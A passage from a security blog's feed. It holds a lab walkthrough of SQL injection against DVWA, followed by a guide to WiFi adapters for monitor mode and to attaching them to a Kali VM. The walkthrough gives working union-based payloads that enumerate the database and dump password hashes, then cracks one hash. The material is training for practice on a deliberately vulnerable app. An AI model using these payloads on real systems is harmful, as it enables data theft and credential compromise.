<p>Open your browser and enter the URL <a href="https://127.0.0.1/dvwa" data-wpel-link="external" rel="external noopener" class="wpel-icon-right">127.0.0.1/dvwa<span class="wpel-icon wpel-image wpel-icon-19"></span></a> or <a href="https://127.0.0.1/DVWA" data-wpel-link="external" rel="external noopener" class="wpel-icon-right">127.0.0.1/DVWA<span class="wpel-icon wpel-image wpel-icon-19"></span></a> if you had renamed it. That will open the DVWA login page. Use the default credentials below:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<p>After a successful login, you will see the DVWA main page. First, click on the DVWA Security on the bottom left, set security to Low, and click <em>Submit</em>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="708" height="207" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-31.png" alt="" class="wp-image-3425" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-31.png 708w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-31-300x88.png 300w" sizes="auto, (max-width: 708px) 100vw, 708px" /></figure>



<p>On the left section of the page, you will see the various vulnerable pages to exploit. Click SQL Injection. You should see a page similar to this below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="670" height="233" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-32.png" alt="" class="wp-image-3426" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-32.png 670w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-32-300x104.png 300w" sizes="auto, (max-width: 670px) 100vw, 670px" /></figure>



<h3 id="view-the-vulnerable-code" class="wp-block-heading">View the Vulnerable Code</h3>



<p>On the SQL injection page, click the View Source button at the bottom right. That will open a page with the SQL Injection source code written in PHP. When you go through the code, you will see a line like:</p>



<pre class="wp-block-preformatted">$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";</pre>



<p>That is the vulnerable line of code. At the end of the line, you can see the user input is concatenated to the SQL query without being validated. That allows us to pass arbitrary commands into the database. Let’s get started.</p>



<h4 id="basic-injection" class="wp-block-heading">Basic Injection</h4>



<p>On the SQL Injection page, we have a USER ID field. When we enter number 1, the application returns the Firstname and Surname of the user with ID 1.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="574" height="120" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-33.png" alt="" class="wp-image-3427" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-33.png 574w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-33-300x63.png 300w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>



<p>If we continue trying numbers like 2,3,4 and 5, we still get an output. However, any number from 6 doesn’t return anything. Therefore, our web app has only five users. Behind the scenes, the SQL query that will execute in the database is:</p>



<pre class="wp-block-preformatted">SELECT First_Name,Last_Name FROM users WHERE ID='1';</pre>



<p>Other than using the USER ID field, we can also use the URL to pass our queries. When you first enter ID 1 and click submit, the URL will look like this:</p>



<pre class="wp-block-preformatted">http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#</pre>



<p>The injectable part in this URL is the id field. Delete the number 1 and enter a different value like 2 or 3, as shown below. Hit Enter.</p>



<pre class="wp-block-preformatted">http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=2&amp;Submit=Submit#</pre>



<p>You will notice that this will also return the username and surname of the user with ID 2.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="459" height="295" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-34.png" alt="" class="wp-image-3428" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-34.png 459w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-34-300x193.png 300w" sizes="auto, (max-width: 459px) 100vw, 459px" /></figure>



<h4 id="always-true-injection" class="wp-block-heading">Always True Injection</h4>



<p>We looked at this when talking about How an SQL Injection attack works. Enter an input like <code>test' OR 1=1#</code> and hit <strong>Enter</strong>. That will return the username and surname of all users in the database.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="608" height="349" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-35.png" alt="" class="wp-image-3429" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-35.png 608w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-35-300x172.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>This query will display all records that are True or False. The <code>test'</code> parameter will probably not be equal to any user in the Database and will equal to <strong>False</strong>. The other part <code>1=1</code> will be <strong>True</strong> since <strong>1</strong> (one) is equal to <strong>1</strong> (one). The <code>#</code> sign to comments out any SQL code or error. The query that executes in the database looks like this;</p>



<pre class="wp-block-preformatted">SELECT first_name, last_name FROM users WHERE user_id = 'test' or '1'='1';</pre>



<h4 id="display-rdbms-and-version" class="wp-block-heading">Display RDBMS and Version</h4>



<p>By knowing the <strong>RDMS</strong> (Relational Database Management System) running under the hood, we can successfully send malicious SQL queries. Most Web application technologies like Java, ASP.NET, PHP, etc., can give us a vivid idea of the database powering the web system. For example, PHP web apps will likely use MySQL, ASP.NET apps will most likely run on Microsoft SQL Server, while Java web systems will most likely run on Oracle or MySQL. Additionally, we can try using a combination of web technology and the Operating system to determine the database. For example, a web application running on Apache and PHP on a Linux host is probably using MySQL database.</p>



<p>However, we cannot entirely rely on this information. If the web app is vulnerable to SQL injection, then there are queries we can use to know the RDBMS and RDBMS-version running behind the scenes.</p>



<p>To know the RDBMS, we will enter anything that will make the database throw an error. In this case, we enter a single quote in the USER ID field. That will make the database read anything past the quote as a string instead of an SQL query.</p>



<p>That will throw an error, as shown below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="931" height="82" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-36.png" alt="" class="wp-image-3430" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-36.png 931w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-36-300x26.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-36-768x68.png 768w" sizes="auto, (max-width: 931px) 100vw, 931px" /></figure>



<p>This error gave us the RDBMS name but not the version. In MySQL, we have two queries that you can use to return the database version &#8211; <code>Select version()</code> and <code>Select @@version</code>. We will use the SQL query below to get the database version.</p>



<pre class="wp-block-preformatted">test'union select null, version()#</pre>



<p>We can also use:</p>



<pre class="wp-block-preformatted">test'union select null, @@version()#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="657" height="150" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-37.png" alt="" class="wp-image-3431" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-37.png 657w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-37-300x68.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<h4 id="display-the-hostname-of-our-web-app" class="wp-block-heading">Display the hostname of our web app</h4>



<p>To get the hostname on MySQL, we use the <code>@@hostname</code> query. Enter the input below in the <strong>USER ID</strong> field.</p>



<pre class="wp-block-preformatted">' union select null, @@hostname#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="412" height="201" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-38.png" alt="" class="wp-image-3432" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-38.png 412w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-38-300x146.png 300w" sizes="auto, (max-width: 412px) 100vw, 412px" /></figure>



<p>From the output above, we can see the hostname under the surname as <strong>metasploitable</strong>. Yours might be different from my mine.</p>



<h4 id="display-database-user" class="wp-block-heading">Display Database User</h4>



<p>To know the database user, we will enter the input below in the USER ID field. We will use the user() SQL function.</p>



<pre class="wp-block-preformatted">test' union select null, user() #</pre>


<p>[analogy]<strong>Note: </strong>We are using Null to make the starting query valid.[/analogy]</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="614" height="123" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-39.png" alt="" class="wp-image-3433" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-39.png 614w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-39-300x60.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></figure>



<p>From the output above, we can see the hostname under the surname as root@localhost.</p>



<h4 id="display-the-database-name" class="wp-block-heading">Display the Database Name</h4>



<p>To get the database name, we will use the database() function in our SQL query. Please note; this is not the RDBMS but the database on which our web app is running. Enter the query below:</p>



<pre class="wp-block-preformatted">test' union select null, database() #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="614" height="116" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-40.png" alt="" class="wp-image-3434" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-40.png 614w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-40-300x57.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></figure>



<p>You can see the name of the database under the Surname &#8211; dvwa.</p>



<h4 id="list-all-tables-in-the-information-schema" class="wp-block-heading">List all tables in the information schema.</h4>



<p>The Information Schema is a record that holds information about all other databases maintained by MySQL RDBMS. Enter the query below in the USER ID field.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, table_name from information_schema.tables #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="662" height="473" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-41.png" alt="" class="wp-image-3435" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-41.png 662w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-41-300x214.png 300w" sizes="auto, (max-width: 662px) 100vw, 662px" /></figure>



<p>The tables are listed under <strong>Surname</strong>.</p>



<h4 id="list-all-user-tables-in-the-information-schema" class="wp-block-heading">List all user tables in the information schema.</h4>



<p>To display all user tables, we will start in the <strong>informarion_schema</strong> database. Enter the query below in the <strong>USER ID</strong> field and click <strong>Submit</strong>.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="415" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-42.png" alt="" class="wp-image-3436" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-42.png 879w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-42-300x142.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-42-768x363.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>The user tables are listed under the <strong>Surname</strong> field.</p>



<h4 id="list-all-column-fields-in-the-information-schema-users-table" class="wp-block-heading">List all Column fields in the information schema users table</h4>



<p>Enter the query below in the <strong>USER ID</strong> field and click <strong>Submit</strong>.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="941" height="303" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-43.png" alt="" class="wp-image-3437" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-43.png 941w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-43-300x97.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-43-768x247.png 768w" sizes="auto, (max-width: 941px) 100vw, 941px" /></figure>



<p>From the output above, you see we have the First_name, Surname, and user_id fields listed.</p>



<h4 id="display-all-the-column-contents-in-the-information-schema-users-table" class="wp-block-heading">Display all the column contents in the information schema users table</h4>



<p>This is much more interesting. We will display all the authentication information of all users in the database. That includes password hashes. Enter the query below.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="635" height="490" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-44.png" alt="" class="wp-image-3438" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-44.png 635w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-44-300x231.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></figure>



<p>From the output above, you can see the hashed password. We can go ahead and crack the hash to reveal the actual password. Some of the password cracking tools that come in handy include John the Ripper and Medusa. There are also websites where you can paste the password hash to reveal the actual password.</p>



<p>In this example, we will use <a href="https://crackstation.net" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">crackstation.net<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to crack the password hash for the second user with the surname &#8211; Gordon.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="996" height="260" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1.png" alt="" class="wp-image-3439" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1.png 996w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1-300x78.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1-768x200.png 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /></figure>



<h3 id="how-to-prevent-sql-injection-attacks" class="wp-block-heading">How To Prevent SQL Injection Attacks</h3>



<p>The main reason that makes web applications vulnerable to SQL injections dates back to the development (coding) stage. Here are some factors developers can consider to develop secure web systems.</p>



<ul class="wp-block-list"><li>Validate user input</li><li>Limit the use of special characters such as string concatenation</li><li>Use stored procedures in the database</li><li>Actively install security patches and updates</li><li>Implement a Web Application Firewall</li><li>Harden your Operating System and Applications</li></ul>



<h3 id="summing-up" class="wp-block-heading">Summing Up</h3>



<p>As of 2021, OWASP Top 10, a Security Framework, listed SQL injection as the number one attack mainly used by hackers and poses a significant impact on businesses and organizations. From the examples above, I believe you now understand how and why SQL injection attacks are the leading cause of massive data leaks.</p>



<p>The DVWA is a reliable platform where penetration testers can practice their skills and understand how various web vulnerabilities are exploited.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3424</post-id>	</item>
		<item>
		<title>Connecting a Wireless Adapter to a Kali Linux Virtual Machine</title>
		<link>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/</link>
					<comments>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 21:30:19 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[kali]]></category>
		<category><![CDATA[virtual machines]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3399</guid>

					<description><![CDATA[In “Network hacking,” most people get confused when talking about Network adapters and Network cards. Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market. A wireless adapter is a device that you connect to your [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In “Network hacking,” most people get confused when talking about Network adapters and Network cards.</p>



<p>Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market.</p>



<p>A wireless adapter is a device that you connect to your computer via the USB port, and it allows you to connect to WiFi networks and communicate with other devices on the network.</p>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<p><strong>However, you might wonder</strong>: &#8220;Why would I need a USB network adapter since my laptop already has an inbuilt adapter that enables me to connect to wireless networks?&#8221;</p>



<p>Well, this is among the topics that we will discuss in this post:</p>



<ul class="wp-block-list">
<li>Problems with Built-in Wireless Cards</li>



<li>Best WiFi adapters for hacking</li>



<li>How to connect a wireless adapter to Kali Linux Virtual machine</li>
</ul>






<h2 id="problems-with-built-in-wireless-cards" class="wp-block-heading">Problems With Built-in Wireless Cards</h2>



<p>There are two main problems with built-in WiFi adapters.</p>



<ol class="wp-block-list squaretype-style">
<li><strong>They can’t be used in Virtual machines</strong> &#8211; Kali inside a VM does not see the built-in WiFi card of your laptop as a WiFi adapter but will see it as an ethernet adapter. Hence you can have full internet access, but you cannot do packet injection or place the WiFi card into monitor mode.</li>



<li><strong>Most built-in cards are not suitable for hacking</strong> &#8211; In wireless hacking, there are two main factors that we look out for in adapters. That is ‘packet infection’ and support for ‘monitor mode.’ Unfortunately, most of the built-in adapters support non of these two features.</li>
</ol>



<h2 id="best-wifi-adapters-for-hacking-with-monitor-mode" class="wp-block-heading">Best WiFi Adapters for Hacking (With Monitor Mode)</h2>



<p>Before diving into the different WiFi adapter brands and models, we first need to understand the Wireless Chipset present in these adapters. Like the CPU we have in a computer, this chipset is the “Brains” of the wireless adapter.</p>



<p>It is responsible for all the processing and calculation of data flowing through it. It also determines the capability of the wireless adapter. Whether it can support monitor mode, packet injection, and works with Kali Linux or not.</p>



<p>Some of the <strong>chipset</strong> supported by Kali Linux include:</p>



<ul class="wp-block-list">
<li>Realtek RTL8812AU</li>



<li>Realtek 8187L</li>



<li>Ralink RT5370N</li>



<li>Ralink RT3572</li>



<li>Ralink RT5572</li>



<li>Ralink RT3070</li>



<li>Ralink RT307</li>



<li>Atheros AR9271</li>



<li>MT7610U</li>



<li>MT7612U</li>
</ul>



<p><strong>I understand all this information looks gibberish as of now</strong>; however, you will appreciate it when we look at the different WiFi adapters available and the chipset they use.</p>



<p>You will notice that the <a href="https://www.alfa.com.tw/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA Networks<span class="wpel-icon wpel-image wpel-icon-19"></span></a> company highly dominates the Wireless adapter market. Over the past couple of years, the company has risen to stand as the perfect supplier for efficient and reliable WIFI adapters. Other companies include <a href="https://www.tp-link.com/us/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-Link<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and <a href="https://www.pandawireless.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Panda<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>The table below shows a list of wireless adapters supported by Kali Linux and the <strong>Chipset</strong>, <strong>Frequency</strong>, and Protocol they are using.</p>



<figure class="wp-block-table"><table><thead><tr><th>Adapter Name</th><th>Chipset</th><th>Frequency</th><th>Protocol</th></tr><tr><th><a href="https://www.amazon.com/AWUS036NEH-Range-WIRELESS-802-11b-USBAdapter/dp/B0035OCVO6" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NEH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT3070</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th>TP-LINK TL-WN722N 2.4GHz v1</th><th>Atheros AR9271</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/TP-Link-TL-WN722N-Wireless-network-Adapter/dp/B002SZEOLG/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N 2.4GHz v2/v3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (<a href="https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/" data-wpel-link="internal">with some workarounds</a>)</th><th>Realtek RTL8188EUS</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036NH-802-11g-Wireless-Long-Range/dp/B003YIFHJY/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT3070</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036NHA-Wireless-USB-Adaptor/dp/B004Y6MIXS/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NHA<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Atheros AR9271</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/gp/product/B01LY35HGO/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Panda PAU09<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT5572</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/ALFA-AWUS036ACH-%E3%80%90Type-C%E3%80%91-Long-Range-Dual-Band/dp/B08SJC78FH/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11AC</th></tr><tr><th><a href="https://www.amazon.com/alfa-awus036h-802-11b-wireless-long-rang/dp/b005em292q" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036H<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek 8187L</th><th>2.4GHz</th><th>802.11b/g</th></tr><tr><th><a href="https://www.amazon.com/AWUS036ACHM-802-11ac-Range-Boost-Adapter/dp/B08SJBV1N3/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACHM<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>MT7610U</th><th>2.4GHz / 5GHz</th><th>802.11AC</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036ACM-Long-Range-Dual-Band-Wireless/dp/B073X6RL9D" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACM<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>MT7612U</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.newegg.com/alfa-network-inc-awus1900-usb-3-0/p/0XM-000A-00036" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS1900<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8814AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.amazon.com/Network-AWUS036AC-Long-Range-Wide-Coverage-High-Sensitivity/dp/B01B33WU82" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036AC<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.amazon.com/Network-AWUS036ACS-Wide-Coverage-Dual-Band-High-Sensitivity/dp/B0752CTSGD/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACS<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8811AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.alfa.com.tw/products/awus036eac?variant=36473966035016" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036EAC<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.ebay.com/itm/383385863645" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWPCIE-1900U<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8814AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr></thead></table></figure>



<p class="black-bg"><strong>Important</strong>: When it comes to <strong>TP-LINK TL-WN722N</strong>, it’s important to know that you can also get <strong>v2/v3</strong> to work with a few workarounds, although it’s sometimes assumed that only <strong>v1</strong> works.<br><br>A great and detailed tutorial on this topic is this one from <a href="https://www.youtube.com/watch?v=tYnjMiTTdms" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">David Bombal &#8211; Kali Linux TP-Link TP-WN722N<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.<br><br><strong>TL-WN722N</strong> is a decent budget WiFi adapter for our purposes, but it’s sometimes difficult to find <strong>v1</strong> in your immediate area, so <strong>v2/v3</strong> is definitely a good option.<br><br>In some cases you won’t find the adapter’s version in the product description, so I think it’s definitely good to know you can make it work no matter which of those versions it is.</p>



<h2 id="connect-a-wireless-adapter-to-kali-linux-virtual-machine-virtualbox" class="wp-block-heading">Connect a Wireless Adapter to Kali Linux Virtual Machine (VirtualBox)</h2>



<p>To connect a wireless adapter to your Kali Linux virtual machine, when using VirtualBox, you can go in the <strong>Oracle VM VirtualBox menu &gt; Devices &gt; USB &gt; [select_your_adapter]</strong>.</p>



<p>It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a <strong>TP-LINK TL-WN722N 2.4GHz v2/v3</strong>, and as you can see, it’s displaying <strong>Realtek 802.11n NC</strong>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1011" height="554" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.jpg" alt="" class="wp-image-3413" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.jpg 1011w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-300x164.jpg 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-768x421.jpg 768w" sizes="auto, (max-width: 1011px) 100vw, 1011px" /></figure>



<h3 id="automatically-connect-the-wifi-adapter-to-a-virtualbox-vm" class="wp-block-heading">Automatically Connect the WiFi Adapter to a VirtualBox VM</h3>



<p>You can also automatically connect a wireless adapter to your Kali Linux virtual machine, when running VirtualBox. This way, you don’t have to manually connect it every time</p>



<p>To do this follow the steps below:</p>



<ol class="wp-block-list squaretype-style">
<li>Shutdown the Kali virtual machine if it was already running</li>



<li>Connect your Wireless USB adapter to your PC</li>



<li>Right-click on your Kali Virtual machine and select the Settings option. A window will open displaying all the different configuration options.</li>



<li>Click on the USB option and check the Enable USB controller check box.<br><br><figure><img decoding="async" style="width: undefinedpx;" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.png"></figure><br><br>We will need to add a USB filter on this window that will enable us to mount our wireless adapter to the Kali VirtualBox VM.</li>



<li>Click on the USB icon that has a plus (+) sign and select your Wireless adapter.<br><strong>Note</strong>: Be careful since the adapter may appear with the chipset na,e instead of the Brand name. For example, my adapter in this case is <strong>TP-LINK TL-WN722N 2.4GHz v1</strong> but was listed under the chipset name <strong>Atheros AR9271</strong>.<br><br>If you are not sure of the adapter&#8217;s name, just remove it, and you will notice the name that will disappear from the VirtualBox USB list.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-46.png"></figure><br></li>



<li>Your wireless adapter will be listed under the “USB Device Filters” section.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-47.png"></figure><br></li>



<li>To finalize everything, right-click on your newly added USB filter and select the Edit Filters option.<br>A window will open listing all the details about your wireless adapter. Then, on the Remote option, click on the dropdown and select Yes.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-48.png"></figure><br></li>



<li>Click Ok to save your configurations.</li>
</ol>



<h2 id="connect-a-wireless-adapter-to-kali-linux-virtual-machine-vmware-player" class="wp-block-heading">Connect a Wireless Adapter to Kali Linux Virtual Machine (VMware Player)</h2>



<p>To connect a wireless adapter to your Kali Linux virtual machine, when using VMware Player, you can go to the <strong>VMware Player menu &gt; Player &gt; Removable Devices &gt; [your_adapter] &gt; Connect (Disconnect from host)</strong>.</p>



<p>It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a <strong>TP-LINK TL-WN722N 2.4GHz v2/v3</strong>, and as you can see, it’s displaying <strong>Realtek 802.11n NC</strong>.</p>



<p>You should then receive a message informing you that the device will be safely stopped and disconnected from the host machine, so it can then be connected to Kali Linux in the VMware player.</p>



